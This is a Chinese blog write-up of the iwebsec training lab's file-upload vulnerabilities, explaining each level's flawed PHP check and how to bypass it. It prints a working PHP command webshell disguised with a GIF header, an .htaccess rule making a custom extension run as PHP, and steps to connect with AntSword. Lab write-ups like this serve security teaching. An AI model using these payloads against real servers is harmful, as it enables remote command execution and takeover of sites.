iwebsec靶场-文件上传漏洞

01-前端JS过滤绕过

1,查看前端代码对文件上传的限制策略

        function checkFile() {

            var file = document.getElementsByName('upfile')[0].value;

            if (file == null || file == "") {

                alert("你还没有选择任何文件,不能上传!");

                return false;

            }

            //定义允许上传的文件类型

            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";

            //提取上传文件的类型

            var ext_name = file.substring(file.lastIndexOf("."));

            //alert(ext_name);

            //alert(ext_name + "|");

            //判断上传文件类型是否允许上传

            if (allow_ext.indexOf(ext_name + "|") == -1) {

                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;

                alert(errMsg);

                return false;

            }

        }

先将木马命令为shell.jpg

然后尝试上传,在burp suite里面给请求包的文件名改回shell.php

然后使用蚁剑进行连接木马,连接成功

02-文件名过滤绕过

文件上传防御逻辑分析

1. 文件类型检测机制

$type = substr($name, strrpos($name, '.')+1); // 获取文件后缀
if($type=="php"){
    die("不能上传php文件!");
}

  • 检测方式:仅通过文件扩展名判断(取最后一个.后的内容)

致命缺陷:

  1. 未处理大小写:.PHP.Php 等可绕过
  2. 未过滤特殊后缀:.phtml.php5 等PHP变种可执行
  3. 未验证文件内容:真实文件类型可通过魔数伪造

2. 安全处理缺失

  • 无内容检测:未使用 exif_imagetype() 或 mime_content_type() 验证文件头
  • 无重命名机制:使用原始文件名存储,允许危险扩展名
  • 无尺寸限制:$size 仅做显示,未做限制

3. 路径处理风险

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目录遍历漏洞:若文件名含 ../ 可覆盖系统文件
  • 直接访问风险:上传目录 up/ 未设置访问权限控制

 

1,命名为shell.PHP,尝试上传

文件上传成功,连接链接如下http://192.168.23.130/upload/up/shell.PHP

03-Content-Type过滤绕过

文件上传防御逻辑分析

1. 文件类型检测机制

$type = $upfile["type"]; // 直接使用客户端提供的 MIME 类型
switch ($type) {
    case 'image/pjpeg': $okType = true; break;
    case 'image/jpeg': $okType = true; break;
    case 'image/gif': $okType = true; break;
    case 'image/png': $okType = true; break;
}

致命漏洞:

  1. 完全信任客户端提交的 Content-Type
  2. 攻击者可通过抓包工具随意修改 MIME 类型
  3. 未对文件内容进行任何验证

2. 安全防护缺失

  • 无扩展名检查:允许 shell.php 伪装成 image/jpeg
  • 无文件头验证:未使用 exif_imagetype() 验证实际文件类型
  • 无重命名机制:保留原始文件名,允许执行恶意脚本
  • 无尺寸限制:未限制上传文件大小

3. 路径处理风险

move_uploaded_file($tmp_name, 'up/'.$name);

  • 目录遍历风险:文件名含 ../ 可覆盖系统文件
  • 执行权限风险:上传目录未禁止脚本执行

 

1,直接上传shell.php,然后再直接修改 Content-Type

然后找到上传位置连接一句话木马

http://192.168.23.130/upload/up/shell.php

04-文件头过滤绕过

文件上传防御逻辑分析

1. 核心防御机制

// 文件头验证
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
    die("请上传图片文件!");
}

防御原理:

  • 使用 exif_imagetype() 读取文件头魔数(magic bytes)
  • 验证是否为有效的图片格式(GIF/JPEG/PNG等)
  • 拒绝非图片文件上传

2. 扩展名提取方式

$type=substr($name, strrpos($name, '.')+1); // 获取文件后缀

风险点:

  • 仅用于显示,未做安全验证
  • 未过滤危险扩展名(如 .php.phtml

3. 安全措施缺失

  • 无扩展名过滤:允许上传 .php 等可执行扩展名
  • 无内容验证:未检查文件完整性或二次渲染
  • 无重命名机制:保留原始文件名
  • 无权限控制:上传目录未禁用脚本执行

 

1,首先写一个具有图片文件头的木马,burp suite改请求包内容

GIF89a;<?php system($_GET["cmd"]); ?>

没有文件头就会阻止上传

上传之后,然后连接成功

05-.htaccess文件上传

文件上传防御逻辑分析

1. 核心防御机制

$type = substr($name, strrpos($name, '.')+1); // 获取文件扩展名
if (preg_match('/php/i', $type)) { // 黑名单过滤
    die("不能上传php文件!");
}

防御原理:

  1. 提取文件扩展名(最后一个.后的内容)
  2. 使用正则 /php/i 匹配扩展名是否包含"php"(不区分大小写)
  3. 拦截所有包含"php"的扩展名(如 .php.php5.phtml

2. 防御措施的优缺点

优点:

  • 拦截常见PHP扩展名变种
  • 大小写不敏感匹配(.PHP.Php等都会被拦截)

致命缺陷:

  1. 黑名单机制不完整:
  • 未覆盖其他可执行扩展名:.htaccess.phar.inc
  • 未处理特殊扩展名:.php7.phps.pht
  1. 未验证文件内容:
  • 允许上传伪装成其他格式的PHP文件(如图片马)
  1. 路径处理风险:
    move_uploaded_file($tmp_name, 'up/'.$name);
  • 目录遍历:文件名含../可覆盖系统文件
  • 直接上传.htaccess文件可改变服务器行为

 

关键漏洞:.htaccess 攻击

攻击原理

  1. 上传特制的 .htaccess 文件
  2. 修改服务器配置,使特定扩展名文件被当作PHP执行
  3. 上传伪装成该扩展名的Webshell

攻击步骤

步骤1:上传.htaccess文件

<FilesMatch "shell.xyz ">

  SetHandler application/x-httpd-php

</FilesMatch>

  • 绕过检测:扩展名.htaccess不含"php" → 通过检查

步骤2:上传Webshell的一句话木马

步骤3:蚁剑连接

06-文件截断上传

07-竞争条件文件上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/86035.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/86035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GitHub 趋势日报 (2025年06月23日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 390 suna 387 system-prompts-and-models-of-ai-tools 383 Web-Dev-For-Beginners…

告别水印烦恼,一键解锁高清无痕图片与视频!

在这个数字化飞速发展的时代&#xff0c;无论是设计小白还是创意达人&#xff0c;都可能遇到这样的困扰&#xff1a;心仪的图片或视频因水印而大打折扣&#xff0c;创意灵感因水印而受限。别急&#xff0c;今天就为大家带来几款神器&#xff0c;让你轻松告别水印烦恼&#xff0…

LangChain4j在Java企业应用中的实战指南:构建RAG系统与智能应用-2

LangChain4j在Java企业应用中的实战指南&#xff1a;构建RAG系统与智能应用-2 开篇&#xff1a;LangChain4j框架及其在Java生态中的定位 随着人工智能技术的快速发展&#xff0c;尤其是大语言模型&#xff08;Large Language Models, LLMs&#xff09;的广泛应用&#xff0c;…

Cola StateMachine 的无状态(Stateless)特性详解

Cola StateMachine 的无状态&#xff08;Stateless&#xff09;特性详解 在现代分布式系统中&#xff0c;无状态设计是构建高可用、可扩展服务的关键原则之一。Cola StateMachine 作为一款轻量级的状态机框架&#xff0c;通过其独特的设计理念实现了良好的无状态特性。本文将深…

使用事件通知来处理页面回退时传递参数和赋值问题

背景。uniapp开发微信小程序。在当前页面需要选择条件&#xff0c;如选择城市。会打开新的页面。此时选择之后需要关闭页面回到当初的页面。但问题出现了。onLoad等事件是不会加载的。相关链接。uniapp页面通讯说明使用事件通知来处理页面回退时传递参数和赋值问题 页面之间的…

腾讯云COS“私有桶”下,App如何安全获得音频调用流程

流程图 #mermaid-svg-Phy4VCltBRZ90UH8 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-Phy4VCltBRZ90UH8 .error-icon{fill:#552222;}#mermaid-svg-Phy4VCltBRZ90UH8 .error-text{fill:#552222;stroke:#552222;}#me…

基于深度学习的侧信道分析(DLSCA)Python实现(带测试)

一、DLSCA原理介绍 基于深度学习的侧信道分析(DLSCA)是一种结合深度神经网络与侧信道分析技术的密码分析方法。该方法利用深度学习模型从能量消耗、电磁辐射等侧信道信息中提取与密钥相关的特征模式。相比传统分析方法&#xff0c;DLSCA能够自动学习复杂的特征关系&#xff0c…

云原生 CAD 让制造业设计协同更便捷

随着互联网、云计算技术的突飞猛进&#xff0c;CAD向着网络化、协同化的方向快速发展&#xff0c;云CAD软件逐渐映入人们的眼帘。云原生CAD不仅打破了传统CAD软件对硬件配置的依赖&#xff0c;更以数据驱动的协同创新模式&#xff0c;重塑了制造业的产品研发流程与组织协作形态…

Docker容器核心操作指南:`docker run`参数深度解析

技术聚焦 作为容器化技术的起点&#xff0c;docker run命令承担着90%的容器创建工作。其关键参数-d&#xff08;后台模式&#xff09;与-it&#xff08;交互模式&#xff09;的合理运用&#xff0c;直接影响容器行为模式与运维效率。本文将深度拆解两大模式的应用场景与…

基于单片机的语音控制设计(论文)

摘要 自然语音作为人机交互在目前得以广泛的应用以及极大的发展前景。该设计介绍了基于非指定人语音芯片LD3320的语音控制器结构及其实现语音控制的方法。该语音控制器利用STM32F103C8T6单片机作为主要控制器&#xff0c;控制芯片对输入的进行语音识别并处理&#xff0c;根据语…

【论文阅读 | CVPRW 2023 |CSSA :基于通道切换和空间注意力的多模态目标检测】

论文阅读 | CVPRW 2023 |CSSA &#xff1a;基于通道切换和空间注意力的多模态目标检测 1.摘要&&引言2.方法2.1 框架概述2.2 通道切换通道注意力2.3 空间注意力 3. 实验3.1 实验设置3.1.1 数据集3.1.2 实现细节3.1.3 评估指标 3.2 对比研究3.2.1 定量结果3.2.2 定性结果…

《前端资源守卫者:SRI安全防护全解析》

SRI&#xff08;子资源完整性&#xff09;作为守护前端安全的隐形盾牌&#xff0c;以精妙的技术设计构建起资源验证防线。深入理解其工作逻辑与配置方法&#xff0c;是每位前端开发者筑牢应用安全的必修课。 SRI的核心价值&#xff0c;在于为外部资源打造独一无二的“数字身份…

项目需求评审报告参考模板

该文档是需求评审报告模板 内容涵盖评审基础信息,如项目名称、评审时间、地点、级别、方式等;包含评审签到表,记录角色、部门、职务、姓名等信息;还有评审工作量统计相关内容;以及评审问题跟踪表,记录问题描述、状态、解决人及时限等,还附有填表说明,对评审适用范围、工…

从依赖进口到自主创新:AI 电子设计系统如何重塑 EDA 全流程

EDA全称是Electronic Design Automation&#xff0c;即电子设计自动化&#xff0c;是利用计算机软件完成电路设计、仿真、验证等流程的设计工具&#xff0c;贯穿于芯片和板级电路设计、制造、测试等环节&#xff0c;是不可或缺的基础设计工具。 EDA与电子材料、装备是电子信…

前端工程化之微前端

微前端 微前端基本知识主要的微前端框架iframe优点&#xff1a;缺点&#xff1a; single-spa示例主应用spa-root-config.jsmicrofrontend-layout.htmlindex.ejs 子应用spa-react-app2.jsroot.component.js 修改路由spa-demo/microfrontend-layout.htmlspa-demo/react-app1/webp…

MemcacheRedis--缓存服务器理论

Memcached/redis是高性能的分布式内存缓存服务器,通过缓存数据库查询结果&#xff0c;减少数据库访问次数&#xff0c;以提高动态Web等应用的速度、 提高可扩展性。 缓存服务器作用: 加快访问速度 ,缓解数据库压力 1. memcached&#xff08;单节点在用&#xff09; 1.1 特点 1…

【stm32】标准库学习——I2C

目录 一、I2C 1.I2C简介 2.MPU6050参数 3.I2C时序基本单元 二、I2C外设 1.I2C外设简介 2.配置I2C基本结构 3.初始化函数模板 4.常用函数 一、I2C 1.I2C简介 本节课使用的是MPU6050硬件外设 2.MPU6050参数 3.I2C时序基本单元 这里发送应答是指主机发送&#xff0c;即…

HSA22HSA29美光固态芯片D8BJVC8BJW

HSA22HSA29美光固态芯片D8BJVC8BJW 美光固态芯片D8BJVC8BJW系列&#xff1a;技术革新与行业应用深度解析 一、技术解析&#xff1a;核心架构与创新突破 美光D8BJVC8BJW系列固态芯片&#xff08;如MT29F8T08EQLEHL5-QAES:E、MT29F512G08CUCABH3-12Q等&#xff09;的技术竞争力…

【Linux网络与网络编程】06.应用层协议HTTP

前言 虽然应用层协议是我们程序猿自己定的&#xff0c;但实际上已经有大佬们定义了一些现成的又非常好用的应用层协议供我们直接参考使用&#xff0c;HTTP(超文本传输协议)就是其中之一。 在互联网世界中&#xff0c;HTTP&#xff08;HyperText Transfer Protocol&#xff0c…

磁悬浮轴承的“生死线”:磁轴承气隙与保护轴承气隙的可靠性设计

在高速旋转机械的尖端领域&#xff0c;磁悬浮轴承&#xff08;AMB&#xff09;凭借无摩擦、超高转速、免润滑等优势傲视群雄。然而&#xff0c;其核心参数——气隙的设置&#xff0c;尤其是额定工作气隙与保护轴承&#xff08;辅助轴承&#xff09;气隙之间的大小关系与具体数值…